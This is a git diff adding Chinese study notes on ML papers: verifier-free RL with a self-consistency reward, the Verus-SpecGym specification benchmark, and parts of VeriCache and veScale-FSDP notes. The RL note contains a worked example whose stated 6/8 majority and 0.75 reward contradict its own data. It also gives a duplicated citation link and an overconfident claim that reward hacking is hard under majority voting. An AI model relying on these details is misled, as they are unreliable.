+- Microsoft Research 条目：[VeriCache publication page](https://www.microsoft.com/en-us/research/publication/vericache-turning-lossy-kv-cache-into-lossless-llm-inference/)
+- 实现生态：**vLLM**（serving）、**LMCache**（prefix/KV 复用）——论文原型栈
+- 对比阅读：本库 [[kv-fold]]（全 KV 分块递推）、投机解码 survey、KVzip / KIVI 原论文
+
+---
+
+## 一句话总结
+
+**VeriCache 把有损 KV 压缩从「近似答案」降格为「快速草稿」，用周期性全 KV 验证把输出拉回与全 cache 推理完全一致，并用跨资源调度把「搬字典」的开销藏进「写草稿」的时间里——在 long-context 与 prefix caching 场景下，接近压缩方案的吞吐，却保留全 KV 的功能正确性。**
diff --git a/src/content/docs/papers/verifier-free-rl-2026.md b/src/content/docs/papers/verifier-free-rl-2026.md
new file mode 100644
index 000000000..b2894b781
--- /dev/null
+++ b/src/content/docs/papers/verifier-free-rl-2026.md
@@ -0,0 +1,252 @@
+---
+title: Verifier-Free RL for Reasoning via Self-Consistency Reward
+来源: https://arxiv.org/abs/2605.30874
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+# Verifier-Free RL for Reasoning via Self-Consistency Reward
+
+## 日常类比：没有标准答案的考试
+
+想象一个学生做数学题。传统方法需要一个"老师"（Verifier/验证器）来批改每道题的对错——对就加分，错就扣分。但这有个问题：有些题目没有标准答案，或者老师太贵了请不起。
+
+Self-Consistency Reward 的做法是：**让同一个学生做 8 遍同一道题，如果大部分答案都一样，那就认为这个答案很可能是对的**。
+
+- 8 个人做同一道题，6 个人答"42"，2 个人答"40" → "42" 就是多数票答案
+- 模型自己生成多个答案，多数一致就给它正奖励，不一致就降低奖励
+
+这就像一群学生互相批改作业——没有老师，靠"共识"来判断对错。
+
+## 背景：为什么需要这个方法？
+
+大语言模型（LLM）在做数学、代码推理时，常用的训练方法是 **RLVR（Reinforcement Learning with Verifiable Rewards）**。流程是这样的：
+
+```
+问题 → 模型生成答案 → 验证器判断对错 → 给奖励 → 更新模型
+```
+
+问题在于：
+
+1. **验证器很难构建**——不是所有题目都有可执行的验证逻辑（比如开放推理）
+2. **验证器有偏差**——它可能教模型钻空子（reward hacking），模型学会骗过验证器但不真正变聪明
+3. **成本高昂**——运行验证器 + 训练验证器本身就很贵
+
+Self-Consistency Reward 的思路是：**干脆不用验证器，让模型自己"投票"来决定奖励信号**。
+
+## 核心概念
+
+### 1. Self-Consistency（自一致性）
+
+这是由 Wang 等人（2022）在论文 ["Self-Consistency Improves Chain of Thought Reasoning in Language Models"](https://arxiv.org/abs/2203.11171) 中提出的概念。
+
+传统方法：模型对一个问题的答案只采样 1 次。
+
+Self-Consistency 方法：模型对一个问题的答案采样 N 次（比如 N=8、16、32），然后取多数投票（majority vote）作为最终答案。
+
+```python
+import math
+from collections import Counter
+
+def majority_vote(generated_answers: list[str]) -> str:
+    """从多次采样中取多数票作为最终答案"""
+    vote_counts = Counter(generated_answers)
+    # 返回出现次数最多的答案
+    most_common_answer, count = vote_counts.most_common(1)[0]
+    return most_common_answer
+
+# 示例：同一个数学题生成 8 个答案
+answers = [
+    "42", "42", "40", "42",  # 多数是 42
+    "42", "38", "42", "40"
+]
+print(majority_vote(answers))  # 输出: 42
+```
+
+### 2. Self-Consistency Reward（自一致性奖励）
+
+把 Self-Consistency 从"推理策略"变成"奖励函数"：
+
+传统 RL 的奖励函数：`R = 1`（答案正确），`R = 0`（答案错误）——需要外部验证器。
+
+Self-Consistency Reward：`R = 多数答案的比例`——不需要外部验证器。
+
+```python
+def self_consistency_reward(generated_answers: list[str]) -> float:
+    """
+    用自一致性计算奖励分数（0.0 ~ 1.0）
+    不需要任何外部验证器或标准答案
+    """
+    if not generated_answers:
+        return 0.0
+
+    vote_counts = Counter(generated_answers)
+    max_count = vote_counts.most_common(1)[0][1]
+    total = len(generated_answers)
+
+    # 奖励 = 多数派的比例
+    # 如果 8 个答案中有 6 个相同，奖励 = 6/8 = 0.75
+    reward = max_count / total
+    return reward
+
+# 示例对比
+answers_correct = ["42", "42", "42", "42", "40", "42", "42", "42"]  # 6/8 一致
+answers_wrong = ["42", "38", "40", "44", "42", "36", "40", "38"]     # 没有多数
+
+print(f"强一致答案的奖励: {self_consistency_reward(answers_correct):.2f}")  # 0.75
+print(f"弱一致答案的奖励: {self_consistency_reward(answers_wrong):.2f}")     # 0.25
+```
+
+### 3. 训练流程：不用 PPO，用 Group Relative Policy Optimization（GRPO）
+
+大多数现代 LLM 推理训练使用 **GRPO**（而非传统的 PPO），因为它不需要训练一个独立的 Critic 模型，节省了大量显存。
+
+GRPO 的关键思想：**一个 prompt 生成 N 个答案，用这些答案之间的相对表现来估计优势值**，而不是用独立的 Critic 模型。
+
+```python
+"""
+简化版 GRPO + Self-Consistency Reward 的训练循环
+"""
+import torch
+import torch.nn.functional as F
+
+class GRPOWithSCR:
+    def __init__(self, model, config):
+        self.model = model
+        self.num_choices = config.get('num_choices', 8)
+        self.epsilon = config.get('epsilon', 0.2)
+
+    def compute_reward(self, group_outputs: list[str]) -> torch.Tensor:
+        """用自一致性计算一组答案的奖励"""
+        rewards = torch.zeros(len(group_outputs))
+        from collections import Counter
+        vote_counts = Counter(group_outputs)
+        majority_count = vote_counts.most_common(1)[0][1]
+        majority_ratio = majority_count / len(group_outputs)
+
+        for i, output in enumerate(group_outputs):
+            if output == vote_counts.most_common(1)[0][0]:
+                # 多数派答案：获得正奖励
+                rewards[i] = 1.0
+            else:
+                # 少数派答案：获得负奖励（鼓励向多数靠拢）
+                rewards[i] = -0.5
+
+        # 加入一致性 bonus（所有答案越一致，bonus 越大）
+        consistency_bonus = majority_ratio
+        rewards = rewards + consistency_bonus
+        return rewards
+
+    def compute_advantage(self, rewards: torch.Tensor) -> torch.Tensor:
+        """GRPO 的优势估计：用组内均值和标准差归一化"""
+        if len(rewards) < 2:
+            return torch.zeros_like(rewards)
+        mean = rewards.mean()
+        std = rewards.std(unbiased=False) + 1e-8
+        advantage = (rewards - mean) / std
+        return advantage
+
+    def train_step(self, prompt: str, num_choices: int = 8) -> dict:
+        """单个训练步骤"""
+        # 1. 从 prompt 生成 num_choices 个答案
+        responses = self.model.generate(
+            prompt,
+            num_return_sequences=num_choices,
+            do_sample=True,
+            temperature=0.7,
+        )
+
+        # 2. 计算每个答案的自一致性奖励
+        rewards = self.compute_reward(responses)
+
+        # 3. GRPO：用奖励计算优势值
+        advantage = self.compute_advantage(rewards)
+
+        # 4. 计算 KL 惩罚（防止模型偏离初始模型太远）
+        # 这一步用原始模型的输出做参照
+
+        # 5. 计算 GRPO 目标函数并反向传播
+        # policy_ratio = new_policy_prob / old_policy_prob
+        # loss = -mean(policy_ratio * advantage) - beta * KL
+
+        return {
+            'rewards': rewards.tolist(),
+            'advantages': advantage.tolist(),
+            'consistency': float(rewards.max() - rewards.min()),
+        }
+```
+
+### 4. 为什么这个方法有效？（直觉理解）
+
+从第一性原理推导：
+
+- **数学题的答案空间很小**——问"2+2 等于几"，模型可能答"3"、"4"、"5"、"4"、"4"、"4"、"42"、"4"
+- 当模型变聪明时，它产生正确答案的概率提高 → 多数票自然偏向正确答案
+- 当模型产生"看起来合理但错误"的答案时，由于推理路径不同，错误答案也各不相同 → 它们很难"串通"形成虚假的多数
+- 所以 **多数票的一致性是一个很好的隐式正确性信号**
+
+```python
+"""
+模拟：模型训练前后，自一致性奖励的变化
+"""
+import random
+
+def simulate_model_accuracy(base_accuracy: float, num_samples: int = 8) -> float:
+    """模拟模型一次采样，返回正确答案的概率"""
+    return 1.0 if random.random() < base_accuracy else 0.0
+
+def simulate_self_consistency_reward(base_accuracy: float, num_samples: int = 8, runs: int = 1000) -> float:
+    """模拟多次推理，计算自一致性奖励的平均值"""
+    total_reward = 0
+    for _ in range(runs):
+        answers = []
+        for _ in range(num_samples):
+            answer = 1 if random.random() < base_accuracy else random.randint(0, 9)
+            answers.append(answer)
+        from collections import Counter
+        vote_counts = Counter(answers)
+        max_count = vote_counts.most_common(1)[0][1]
+        total_reward += max_count / num_samples
+    return total_reward / runs
+
+# 模型训练前（准确率 40%）
+before_reward = simulate_self_consistency_reward(0.40)
+# 模型训练后（准确率 70%）
+after_reward = simulate_self_consistency_reward(0.70)
+
+print(f"训练前自一致性奖励: {before_reward:.3f}")  # ~0.53
+print(f"训练后自一致性奖励: {after_reward:.3f}")    # ~0.84
+print(f"奖励提升: {((after_reward - before_reward) / before_reward * 100):.1f}%")
+```
+
+## 优势与挑战
+
+### 优势
+
+| 方面 | 传统方法（需要验证器） | Self-Consistency Reward |
+|------|----------------------|------------------------|
+| 是否需要验证器 | 是 | 否 |
+| 适用的题目类型 | 只有可验证的题目 | 所有题目 |
+| 训练成本 | 验证器 + 模型 | 只需模型本身 |
+| Reward hacking | 容易发生 | 很难发生（多数投票很难作弊） |
+
+### 挑战
+
+1. **计算开销大**——需要采样多个答案（通常 8-32 个），推理成本是单次的 8-32 倍
+2. **对简单题目不够敏感**——当模型已经很强时，所有采样答案都相同，奖励梯度消失
+3. **需要足够的多样性**——如果 temperature 太低，所有采样都一样，没有"投票"可言
+
+## 相关论文
+
+- ["Self-Consistency Improves Chain of Thought Reasoning in Language Models" (Wang et al., 2022)](https://arxiv.org/abs/2203.11171) — 首次提出 Self-Consistency 概念
+- ["GRPO: Group Relative Policy Optimization" (Shao et al., 2024)](https://arxiv.org/abs/2402.03300) — 无 Critic 的 RL 训练方法
+- ["DeepSeekMath: Pushing the Limits of Mathematical Reasoning in Open Language Models" (2024)](https://arxiv.org/abs/2402.03300) — 大规模使用 RL 训练数学推理的典型案例
+- ["Scalable Verifier-Free RL" 系列研究] — 近期探索不依赖外部验证器的 RL 训练方向
+
+## 关键 takeaway
+
+自一致性奖励的核心洞察很简单：**当一群"学生"对同一道题给出相同答案时，这个答案大概率是正确的**。不需要老师，不需要标准答案，模型就能通过"自我共识"获得训练信号来提升自己。
+
+这就像是"三个臭皮匠，顶个诸葛亮"——只不过这里臭皮匠和诸葛亮是同一个模型的不同采样版本。
diff --git a/src/content/docs/papers/verus-specgym.md b/src/content/docs/papers/verus-specgym.md
new file mode 100644
index 000000000..beedb2145
--- /dev/null
+++ b/src/content/docs/papers/verus-specgym.md
@@ -0,0 +1,388 @@
+---
+title: Verus-SpecGym — 规格自动形式化与 Agent 评测环境
+来源: https://arxiv.org/abs/2605.26457
+日期: 2026-06-13
+子分类: 形式化验证
+分类: 形式化方法
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：合同条款 vs 判例测试
+
+你请律师帮你写一份**租房合同**（informal specification：口头 + 邮件里说的「月租 8000、押一付三、宠物可养小型犬」）。律师把它整理成**正式条款**（formal specification：每一条都能被法庭机械解释）。
+
+接下来有两种「验合同」的办法：
+
+| 方法 | 类比 | 问题 |
+|------|------|------|
+| **专家对照** | 再雇一位资深律师，逐条对照「用户原意」 | 每道题都要人工写金标准，**贵且难扩展** |
+| **LLM 当法官** | 让另一个 AI 读合同说「看起来对」 | 便宜，但会漏掉**边界条款**（26% 漏检，论文实测） |
+| **判例 + 对抗测试** | 用官方样例 + 对手专门找的 hack 输入测条款 | 可规模化、可复现、能抓 subtle bug |
+
+**形式化验证**里的故事更尖锐：Verus 可以证明 Rust 代码**满足**你写的 `requires` / `ensures`。但若 formal spec 本身写偏了——太宽则「证过了错的程序」，太窄则「对的程序证不过」——整个验证链条从根上就不成立。
+
+CMU + Amazon 等作者 2026 年的 **Verus-SpecGym**（arXiv:[2605.26457](https://arxiv.org/abs/2605.26457)）要回答的问题因此不是「AI 会不会写代码」，而是：
+
+> **语言模型 Agent 能否把 Codeforces 自然语言题面，翻译成忠实于原意的 Verus 形式化规格？**
+
+他们同时贡献了 **Verus-SpecBench**（581 道规格写作任务）和一套**可执行测试**评测管线，避免依赖专家金标准或 LLM 法官。
+
+一句话：**验证保证「代码 ⊆ 规格」；SpecGym 评测「规格 ≈ 用户意图」。**
+
+---
+
+## 是什么
+
+| 项目 | 内容 |
+|------|------|
+| 论文 | *Verus-SpecGym: An Agentic Environment for Evaluating Specification Autoformalization* |
+| 机构 | CMU、Amazon 等 |
+| 代码 | [formal-verif-is-cool/verus-spec-gym](https://github.com/formal-verif-is-cool/verus-spec-gym) |
+| 目标语言/验证器 | [Verus](https://github.com/verus-lang/verus) — Rust 上的 SMT（Z3）验证框架 |
+| 任务来源 | Codeforces 编程题（581 道，含官方测试 + 人类 hack） |
+| Agent 框架 | SWE-Agent + Harbor 集成；工具含 bash、文件编辑、`verus_gym_specgen_check`、submit |
+| 预算 | 每题 $2.5 + 75 分钟超时 |
+
+论文核心贡献四条：
+
+1. **Verus-SpecGym**：Agent 与 Verus / shell / 文件系统交互，迭代写规格。
+2. **Verus-SpecBench**：581 道「填 `pre_spec` / `post_spec` 空洞」任务。
+3. **可执行规格评测**：扩展 Verus `exec_spec` → `exec_spec_unverified`，把逻辑谓词编译成可跑的 Rust 检查。
+4. **四桶测试 + Codeforces hacks**：官方测试 + 竞赛者提交的对抗输入，比纯 LLM 造 counterexample 更贴近真实边界。
+
+---
+
+## 为什么重要
+
+### 1. 验证链的「中间人问题」
+
+Verified code generation 的流程是：
+
+```text
+informal 题面 s_I  →  formal 规格 s_F  →  程序 p  →  Verus 证明 p ⊨ s_F
+```
+
+若 $R_{s_F} \neq R_{s_I}$（形式化关系与 informal 意图不一致），证明成功也**不能**推出程序符合用户原意。瓶颈从「写证明」转向「**写对规格**」——即 **specification autoformalization（规格自动形式化）**。
+
+### 2. 写对代码 ≠ 写对规格
+
+论文对比 gpt5.3-codex：在 187 道「规格写错但输出唯一」的子集上，同一模型 **Python 解题 Pass@1 达 81.8%**，但 **Verus 规格 Pass@1 仅 57.8%**。Agent 常常「会做题，不会写合同条款」。
+
+### 3. 评测本身曾是难题
+
+- 专家金标准：每题一份，无法规模化。
+- LLM-as-judge：对 gpt5.3-codex 自评，**25.7%** 的错误规格被误判为正确。
+- SpecGym 路线：**确定性、可复现**的测试桶 + 符号/执行双路径判定。
+
+---
+
+## 核心概念
+
+### 1. 忠实规格（Faithful Specification）
+
+设 informal 题面定义输入输出关系 $R_{s_I}$，Agent 生成的 formal 规格定义 $R_{s_F}$。
+
+| 性质 | 集合论表述 | 直觉 |
+|------|------------|------|
+| **Soundness（健全）** | $R_{s_F} \subseteq R_{s_I}$ | 形式化**不能多收**非法输入/错误输出 |
+| **Completeness（完备）** | $R_{s_I} \subseteq R_{s_F}$ | 形式化**不能漏收**合法输入/正确输出 |
+| **Faithful（忠实）** | $R_{s_F} = R_{s_I}$ | 两者完全重合 |
+
+规格拆成两半：
+
+- **`pre_spec(in)`**：哪些输入合法（定义 $\mathrm{dom}(R_{s_F})$）
+- **`post_spec(in, out)`**：合法输入下哪些输出可接受
+
+### 2. 四桶测试（Four Buckets）
+
+评测把测试用例分成四类，分别探测 pre/post 的 soundness 与 completeness：
+
+```text
+τ_pre-comp   合法输入           → pre_spec 应接受
+τ_pre-sound  非法输入           → pre_spec 应拒绝
+τ_post-comp  合法 (in, out) 对  → post_spec 应接受
+τ_post-sound 合法 in + 错误 out → post_spec 应拒绝
+```
+
+**只有四桶全部通过**，该题才算 solved。论文统计：平均每题约 21 / 80 / 55 / 78 个测试（pre-sound / pre-complete / post-sound / post-complete），每桶至少 5 个。
+
+**Codeforces hacks** 是关键增量：选手在官方测试通过后提交的对抗输入，人类针对真实错误解法设计，能暴露官方测试漏掉的 implicit constraint。论文消融显示：**仅看 completeness 桶会显著高估 Pass@1**（例如 gpt5.3-codex 从 76.6% 跌到 57.8%）。
+
+### 3. Verus 与 spec fn
+
+Verus 在 Rust 里嵌入 `verus! { ... }` 块，用 `spec fn` 写**纯逻辑谓词**（给 Z3 用，不是普通可执行 Rust）。典型骨架：
+
+```rust
+use vstd::prelude::*;
+
+verus! {
+
+pub struct In1 {
+    pub n: usize,
+    pub arr: Seq<i64>,
+    pub k: i64,
+}
+
+pub struct Out {
+    pub pos: i64,
+}
+
+// Agent 要填写的两个洞
+pub open spec fn pre_spec(in1: In1) -> bool {
+    // TODO: 合法输入谓词
+    true
+}
+
+pub open spec fn post_spec(in1: In1, out: Out) -> bool {
+    // TODO: 正确输出谓词
+    true
+}
+
+} // verus!
+```
+
+Agent 还可添加 helper `spec fn`，但输入输出类型由 benchmark 流水线**预先固定**（保证与 exec_spec 兼容）。
+
+### 4. exec_spec 与 exec_spec_unverified
+
+Verus 规格本质是逻辑公式，**不能直接** `cargo run` 在 concrete input 上。论文扩展 Verus 内置的 **exec_spec** 机制：
+
+1. **符号路径**：把测试注入为 `assert(pre_spec(x))` 或 `assert(!post_spec(x,y))`，跑 Verus 证明。
+2. **执行路径**：若符号检查 inconclusive / 超时，用 `exec_spec_unverified!` 把 spec 编译成 `exec_pre_spec(&exec_in1) -> bool` 的可执行 Rust，对 typed 测试值跑 `assert_eq!`。
+
+`exec_spec_unverified` 与原版区别：**不要求**「可执行代码 ↔ 原 spec」的 correspondence proof。Benchmark 只需测试，不需要把生成代码纳入 verified 项目——避免「证明失败但测试代码其实能跑」的假阴性。
+
+扩展覆盖：Seq / Set / Map / Multiset、`subrange`、`contains`、有界多变量 `forall` 等 Codeforces 常见约束。
+
+### 5. Verus-SpecGym Agent 循环
+
+```text
+读取 problem_statement.md + solve.rs 骨架 + 样例测试 + Verus 文档
+    ↓
+编辑 pre_spec / post_spec
+    ↓
+verus_gym_specgen_check   ← 仅在「完备性桶」样例上给反馈
+    ↓
+读 attempts/*/feedback.txt，根据 Verus 报错迭代
+    ↓
+submit → 隐藏测试四桶全量评测
+```
+
+训练时 Agent 只见 **3 个 completeness 样例**；soundness 桶在最终评测才出现——防止过拟合公开 counterexample。
+
+---
+
+## 代码示例一：二分查找 — 四种典型错误规格
+
+论文用「在有序数组中找 k 的**最左**出现位置，找不到返回 -1」说明四桶如何各抓一种错误（Figure 2）。
+
+**错误 1 — pre_spec 不完备（太严）**：要求严格递增，拒绝含重复元素的有效输入。
+
+```rust
+pub open spec fn pre_spec(in1: In1) -> bool {
+    in1.n >= 1
+    && in1.arr.len() == in1.n
+    && forall |i: usize|
+        0 <= i < in1.n ==>
+        (i + 1 < in1.n ==>
+            #[trigger] in1.arr[i as int] < in1.arr[(i + 1) as int])
+}
+// 失败：arr = [10,20,20,20,30], k=20 是合法输入，但被拒绝
+```
+
+**错误 2 — pre_spec 不健全（太宽）**：只检查长度，接受未排序数组。
+
+```rust
+pub open spec fn pre_spec(in1: In1) -> bool {
+    in1.arr.len() == in1.n
+}
+// 失败：arr = [3,2,3] 非法（未排序）却被接受
+```
+
+**错误 3 — post_spec 不完备**：不允许 `pos = -1` 的「未找到」分支。
+
+```rust
+pub open spec fn post_spec(in1: In1, out: Out) -> bool {
+    0 <= out.pos
+    && out.pos < in1.n as i64
+    && in1.arr[out.pos as usize as int] == in1.k
+}
+// 失败：k=24 不存在时正确输出 pos=-1，但 spec 拒绝
+```
+
+**错误 4 — post_spec 不健全**：允许任意一个匹配位置，而非**最左**。
+
+```rust
+pub open spec fn post_spec(in1: In1, out: Out) -> bool {
+    if out.pos == -1 {
+        forall |i: usize|
+            0 <= i < in1.n ==> #[trigger] in1.arr[i as int] != in1.k
+    } else {
+        0 <= out.pos
+        && out.pos < in1.n as i64
+        && in1.arr[out.pos as usize as int] == in1.k
+    }
+}
+// 失败：k=20 时 out.pos=3 也满足「某处等于 k」，但最左应是 index=1
+```
+
+这四个例子对应四桶测试各一种失败模式，也是 Agent 在真实 Codeforces 题上最常犯的错。
+
+---
+
+## 代码示例二：exec_spec_unverified 可执行检查
+
+Benchmark 评测时，规格会被宏展开成可执行 counterpart（简化示意）：
+
+```rust
+use vstd::contrib::exec_spec::*;
+use vstd::prelude::*;
+
+verus! {
+exec_spec_unverified! {
+    pub open spec fn pre_spec(in1: In1) -> bool {
+        in1.n >= 1
+        && in1.arr.len() == in1.n as int
+        && forall |i: int, j: int|
+            0 <= i < j < in1.n ==>
+            in1.arr[i] <= in1.arr[j]
+    }
+
+    pub open spec fn post_spec(in1: In1, out: Out) -> bool {
+        if out.pos == -1 {
+            forall |i: int| 0 <= i < in1.n ==> in1.arr[i] != in1.k
+        } else {
+            0 <= out.pos && out.pos < in1.n as i64
+            && in1.arr[out.pos as int] == in1.k
+            && forall |i: int|
+                0 <= i < out.pos ==> in1.arr[i] != in1.k
+        }
+    }
+}
+}
+
+fn main() {
+    let exec_in1 = ExecIn1 {
+        n: 5,
+        arr: vec![10, 20, 20, 20, 30],
+        k: 20,
+    };
+    let exec_out = ExecOut { pos: 1 };
+    assert_eq!(exec_pre_spec(&exec_in1), true);
+    assert_eq!(exec_post_spec(&exec_in1, &exec_out), true);
+}
+```
+
+评测器决策树（Figure 6）：
+
+```text
+具体测试 t + Agent 提交的 spec s
+  → 先试 Verus 能否证明 s(t) 或 ¬s(t)
+  → 若符号路径 unknown → exec_spec 编译并运行
+  → 归入六类：编译错误 / accept-reject × symbolic-exec / exec  indeterminate
+```
+
+对 **post_complete / post_sound** 桶，前沿模型大量依赖 **exec 回退**；没有 exec_spec，许多用例会停在「symbolically unknown」。
+
+---
+
+## 数据流水线（Verus-SpecBench 怎么造出来）
+
+从 Codeforces 到 benchmark 任务，五阶段：
+
+1. **Sourcing**：抓题面 $s_I$、官方测试 $\tau$、hack 集合 $H$。
+2. **Filtering**：去掉浮点 I/O、重复/截断测试、语法无效 hack 等。
+3. **Hack collection**：按 Figure 4 路由到四桶（invalid input → pre-sound；valid + wrong output → post-sound …）。
+4. **Test-case conversion**：构造 Agent 写 parser $R$ + printer $P$，要求 $P(R(t)) == t$ 字节级 round-trip，防止「测错输入」。
+5. **Final selection**：每桶 ≥5 测试，共 581 题保留。
+
+Agent 拿到的每题目录含：`problem_statement.md`、`solve.rs` 骨架、样例、**另一题的完整规格范例**、Verus 文档、**评测器源码**（可 grep 理解评测逻辑）——降低「不会 Verus 语法」导致的假失败。
+
+---
+
+## 实验结果（Pass@1，四桶全过才算对）
+
+| 模型 | Pass@1 | Pass@1（仅 completeness 桶） |
+|------|--------|------------------------------|
+| gemini-3.1pro | **77.8%** | 82.4% |
+| gpt5.3-codex | 57.8% | 76.6% |
+| opus4.6 | 51.1% | 58.7% |
+| deepseek-v4pro | 24.3% | 31.8% |
+| glm-5.1 | 21.5% | 24.8% |
+| kimi-k2.6 | 25.5% | 29.1% |
+
+读数要点：
+
+- **前沿 vs 开源**差距大（~78% vs ~22–25%），说明规格形式化比「裸写 Python 解」更吃模型能力。
+- **Soundness 桶**是 Pass@1 的主要杀手；只看 completeness 会乐观 5–20 个百分点。
+- **Hack 测试**能抓到官方测试完全漏掉的规格错误（论文 case study）。
+- **LLM judge** 漏掉 executable evaluator 抓到的 **26%** 失败。
+- 弱模型大量死在 **Verus 编译/语法** 或 exec_spec 不兼容 fragment，而不只是「逻辑写错」。
+
+---
+
+## 三类高频失败模式（定性分析）
+
+论文归纳 Agent 写错规格的三大簇：
+
+1. **遗漏输入假设**：题面说「数组非降序」，spec 只写长度；或忘记「字符只能是 '(' 和 ')'」。
+2. **接受错误输出**：post 太弱，允许多解之一而非题面要求的唯一语义（如最左位置、最小插入数）。
+3. **拒绝合法输出**：post 太严，漏掉 `-1`、空集、0 等边界合法答案。
+
+这与软件工程里「需求文档 ↔ 验收标准」不对齐是同一类问题，只是这里验收标准是**可机器检查的 Verus 谓词**。
+
+---
+
+## 与相关工作的位置
+
+| 方向 | 代表 | SpecGym 差异 |
+|------|------|--------------|
+| 代码生成 benchmark | HumanEval, Codeforces 提交 | 不评规格忠实度，只测 $p(x) \in Y_i$ |
+| Verified code gen | Verus / Dafny / Lean 证明 | 假设 $s_F$ 已给定 |
+| 规格挖掘 / 合成 | 从测试反推 spec | 这里是 **NL → formal**，且要 faithful |
+| LLM 评规格 | Sun et al. 等 | SpecGym 用 executable + hacks，漏检率更低 |
+
+Harbor 集成让 SpecGym 对齐现代 **tool-using agent** 评测范式：轨迹日志、预算、submit 语义与 SWE-bench 类环境一致。
+
+---
+
+## 零基础读者可以怎么用这篇论文
+
+1. **学形式化验证的「上游」**：先会写 `requires`/`ensures`，再理解「规格从哪来」——SpecGym 把这个问题变成了可量化 benchmark。
+2. **学 Agent 环境设计**：local check（样例）+ hidden test（四桶）+ 专家 prompt + 开源评测器，减少 benchmark 噪声。
+3. **学测试驱动规格**：四桶 = 对「输入域」和「输出关系」分别做 positive/negative testing；hacks = 人类 adversarial fuzz。
+4. **动手**：克隆 [verus-spec-gym](https://github.com/formal-verif-is-cool/verus-spec-gym)，从单题 skeleton 开始填 `pre_spec`/`post_spec`，跑 `verus_gym_specgen_check` 看 feedback。
+
+---
+
+## 局限与开放问题
+
+- **测试覆盖 ≠ 完全等价**：$R_{s_F} = R_{s_I}$ 无法在有限测试下严格证明，只是高置信近似；更多测试边际收益递减但未达 100%。
+- **题源偏 competitive programming**：Codeforces 风格约束清晰，与「脏」工业需求（IO、并发、浮点）有 gap。
+- **Verus 片段限制**：复杂 spec 可能 symbolically unknown 且 exec 不支持，评测 indeterminate。
+- **成本**：前沿模型每题 $2.5 × 581 全量评测仍不便宜。
+
+开放方向：更强 open-weight 规格 Agent、从规格自动生成证明骨架、把 pipeline 迁到 Dafny/Lean、工业 API 的 informal→formal。
+
+---
+
+## 小结
+
+| 问题 | SpecGym 的回答 |
+|------|----------------|
+| 评什么？ | NL 题面 → Verus `pre_spec` / `post_spec` 是否 **faithful** |
+| 怎么评？ | 四桶测试 + 符号 Verus + **exec_spec_unverified** 执行回退 |
+| 数据从哪来？ | 581 道 Codeforces + 官方测试 + **人类 hacks** |
+| 难不难？ | 前沿 ~52–78%，开源 ~22–25%；**会写代码 ≠ 会写规格** |
+| 为何不用 LLM judge？ | 漏 26% 错误；executable 更可靠 |
+
+Verus-SpecGym 把「规格自动形式化」从口头挑战变成了**可复现的 Agent  gym**：它测的不是证明有多长，而是**形式化合同是否真对应用户说的那句话**。在 AI 写代码 + 形式化验证的组合拳里，这一步正在成为新的瓶颈——也是新的研究前沿。
+
+---
+
+## 延伸阅读
+
+- 论文 HTML：[arXiv:2605.26457](https://arxiv.org/html/2605.26457)
+- Verus 项目：[verus-lang/verus](https://github.com/verus-lang/verus)
+- 相关 benchmark 思路：verified code generation、LLM-as-judge 的局限性
+- 本仓库笔记：[seL4 形式化验证](sel4-formal-2009.md)（内核级证明）、[Infer 分离逻辑](infer-biabduction.md)（另一种「规格/不变量」文化）
diff --git a/src/content/docs/papers/vescale-fsdp-2026.md b/src/content/docs/papers/vescale-fsdp-2026.md
new file mode 100644
index 000000000..ccbc388bf
--- /dev/null
+++ b/src/content/docs/papers/vescale-fsdp-2026.md
@@ -0,0 +1,338 @@
+---
+title: veScale-FSDP — 灵活且高性能的大规模 FSDP
+来源: https://arxiv.org/abs/2602.22437
+日期: 2026-06-13
+子分类: ML 系统
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：拼图 vs 按页装订的教材
+
+想象你要和 **8 位同学**（8 张 GPU）一起保管并修改一本 **超厚教材**（大模型参数 + 梯度 + Adam 状态）。训练时，算到某一章就要临时把那一章**凑齐完整页**做矩阵运算，算完再拆回每人手里的一摞。
+
+**传统 FSDP（ZeRO / FSDP1）** 像把教材**按页码顺序撕成 8 份**，但**不管章节边界**——一页纸可能半张在你桌上、半张在同学 B 桌上。做「按整页批改」（element-wise 更新）还行；一旦要做「按整章做矩阵变换」（Muon、Shampoo）或「每 128×128 小块单独量化」（block-wise FP8），边界对不齐，就得额外借页、补空白、再复印一遍。
+
+**PyTorch FSDP2** 改进了装订方式：每本书**按行均匀切分**（Row-wise Even Shard），每人的行数一样。章节对齐好一点，但**量化块大小**（比如 128×128）未必能整除行数，块仍然可能被切成两半。更麻烦的是：通信时参数在缓冲区里**交错存放**（interleaved），AllGather 之后还要 **Copy-Out** 到连续内存才能算——像把散页粘成册子，GPT-OSS-120B 在 64×H800 上 Copy-Out 约占 AllGather 时间的 **12%**，Copy-In 约占 ReduceScatter 的 **13%**。
+
+**Megatron-FSDP** 走零拷贝路线，但用**大量 padding** 把拼接张量伪装成按行切分，padding 一多，显存和通信量都涨。
+
+**veScale-FSDP** 的思路像**按「不可再拆的最小装订单元」分书**：
+
+- 你可以定义单元是**一行**、**一个 128×128 块**，甚至**整张权重矩阵**（给 Muon 用）。
+- 不同 GPU 上可以持有**不同数量的单元**（ragged / 参差分布），不必每人行数相等。
+- 通信前用**结构感知规划器**重新排列单元顺序，把 padding 插在**书与书之间**而不是**书页中间**，保证每本书在内存里仍然连续。
+- 所有单元映射到一块全局 **Distributed Buffer（DBuffer）**，AllGather / ReduceScatter **直接在这块缓冲上零拷贝完成**。
+
+一句话：**veScale-FSDP 让 FSDP 既保留 `fully_shard` 的易用 API，又能在万卡规模上同时满足「块结构不被切碎」和「通信路径足够快」。**
+
+---
+
+## 是什么
+
+**veScale-FSDP: Flexible and High-Performance FSDP at Scale**（Wang 等，ByteDance Seed，arXiv:[2602.22437](https://arxiv.org/abs/2602.22437)，2026）是对 PyTorch FSDP2 后端的**重新设计**，核心贡献三件事：
+
+| 组件 | 作用 |
+|------|------|
+| **RaggedShard** | 新的 DTensor placement：支持**任意块粒度** + **任意 per-device 块数量** |
+| **Structure-aware planning** | 把 bucket 内多个 RaggedShard 张量排布进通信缓冲，最小化 padding、保持块完整与张量连续 |
+| **DBuffer（Distributed Buffer）** | 全局通信缓冲原语，RaggedShard 张量是其切片，实现**零拷贝** collective |
+
+| 项目 | 内容 |
+|------|------|
+| 机构 | ByteDance Seed |
+| 开源 | [github.com/volcengine/veScale](https://github.com/volcengine/veScale)（RaggedShard 相关代码） |
+| API | 保留 PyTorch 原生 **`fully_shard`**，用户侧写法与 FSDP2 一致 |
